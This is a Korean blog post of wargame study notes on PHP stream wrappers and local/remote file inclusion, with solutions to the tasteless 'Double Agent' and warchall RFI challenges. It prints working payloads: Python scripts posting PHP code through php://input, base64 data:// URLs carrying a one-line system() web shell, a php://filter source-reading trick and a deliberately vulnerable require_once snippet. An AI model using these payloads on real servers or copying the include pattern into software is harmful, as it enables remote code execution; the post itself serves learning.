webhacking/etc

php wrapper, LFI, chall.tasteless.se Double Agent, wechall RFI

qkqhxla1 2015. 3. 16. 15:22

http://php.net/manual/kr/wrappers.php 에서 자세히 더 알아볼 것...

지식인에서 찾은 유용한 질답.

http://kin.naver.com/qna/detail.nhn?d1id=1&dirId=1040203&docId=220731927

이번 코드게이트에서 LFI 관련된 문제가 나왔다는데 개인 사정상 코드게이트 참가를 못했다...


LFI에 대해서는 지식이 조금 부족해서 잊어먹기 전에 여기다가 정리해놔야지..... 조건은 php.ini의 allow_url_include = On 이어야함.


관련 문서. leaveret의 한 팀원이 만들었다고 함... 문제될시 관련문서 삭제하겠습니다.


Knowing about LFI (1).txt

추가 예정.


chall.tasteless.eu Double Agent

dmbs335님의 포스팅에서 관련 문제풀이가 나와서 일단 옮겨적어놓는다...

소스코드가 나와있는데 php.ini파일을 볼 수 있다. allow_url_include = On이므로 LFI가 가능하다. 

?file=php://input 처럼 php://input을 사용하고, post로 php를 보내면 해석 결과를 내놓는다.

(php://input은 POST로 받은 데이터를 처리한다. http://php.net/manual/kr/wrappers.php.php )

# -*- encoding: cp949 -*-
import urllib2
req = urllib2.Request('http://level3.tasteless.eu/?file=php://input','<?php print_r(scandir(getcwd())); ?>')
req.add_header('cookie','__cfduid=d9fabd7cfefe2f29855f59004e0ff1af71418203169')
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36')
print urllib2.urlopen(req).read()

이런식으로 GET으로 줄 인자에 php://input을 주고, POST형식으로 데이터를 보내면 된다고 한다..


내 웹서버에 <?php $inc = @$_GET['file']; @require_once($inc); ?> 와 같이 구성하고, allow_url_include등 관련 옵션들을 다 On해놓고 저와 똑같이 해본결과 동일하게 명령어 실행이 가능하다.

그런데 원리를 아직 모르겠음. 이해하면 다시 추가....



http://rfi.warchall.net/index.php

도 RFI문제인데 wrapper을 써야 한다. 오른쪽 위에 언어 변경이 있는데, 누르면 ?lang=으로 데이터가 전송된다. 이 데이터정보로 언어를 변경하는데, RFI를 위해선 그냥 $_GET으로 전송할 것만 있으면 되는거같다.

이것도 위 문제와 비슷하게 가능한데, 이번엔 data://text/plain;base64를 이용해 가능하다.

http://rfi.warchall.net/index.php?lang=data://text/plain;base64,PD9waHAgcHJpbnRfcihzY2FuZGlyKGdldGN3ZCgpKSk7ID8%2B

진하게 표시해놓은 부분처럼 사용하며 빨간색 부분은 url디코딩-> base64디코딩해보면

위와 같은 <?php print_r(scandir(getcwd())); ?> 임을 알 수 있다. (ls명령어같은거..) 그런데 찾아보니


또 다른 풀이로 이런식으로도 가능하다.

http://rfi.warchall.net/index.php?lang=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydhJ10pOyA/Pg%3D%3D&a=ls

빨간색 부분은 위처럼 디코딩해보면 <?php system($_GET['a']); ?> 으로서 우리가 직접 get방식으로 a를 줘서 어떤 명령어를 실행시키는게 가능하다.(뒤에 &a=ls라고 줬음.) 

맨 위에 풀이처럼 php://input으로도 되는걸 확인했다.

# -*- encoding: cp949 -*-
import urllib2
req = urllib2.Request('http://rfi.warchall.net/index.php?lang=php://input','<?php print_r(scandir(getcwd())); ?>')
print urllib2.urlopen(req).read()


런데 chall.tasteless.se에서의 문제에서는 http://level3.tasteless.eu/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydhJ10pOyA/Pg%3D%3D&a=ls 처럼 줘보면 hacker detected가 뜬다. (dmbs335님 처럼 푸는게 목적에 맞나 보다.)


php://filter는 이런식으로 사용 가능하다고 함.

?page=php://filter/convert.base64-encode/resource=in.php

연구 예정....


일단 조금 오랜시간 이것저것 해봤으나 어떻게 써야되는지 아직 정확히 감을 못잡겠다. 알게되면 추가 예정.



참고.


https://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/

http://www.slideshare.net/phdays/on-secure-application-of-php-wrappers

'webhacking > etc' 카테고리의 다른 글

wargame.kr dun_worry_about_the_vase (오라클 패딩 어택)  (0) 2015.03.22
chall.tasteless.eu Sjukdom  (0) 2015.03.20
webhacking.kr 47, 48  (0) 2015.03.14
webhacking.kr 42, 43, 44  (0) 2015.03.14
webhacking.kr 36, 38, 41  (0) 2015.03.13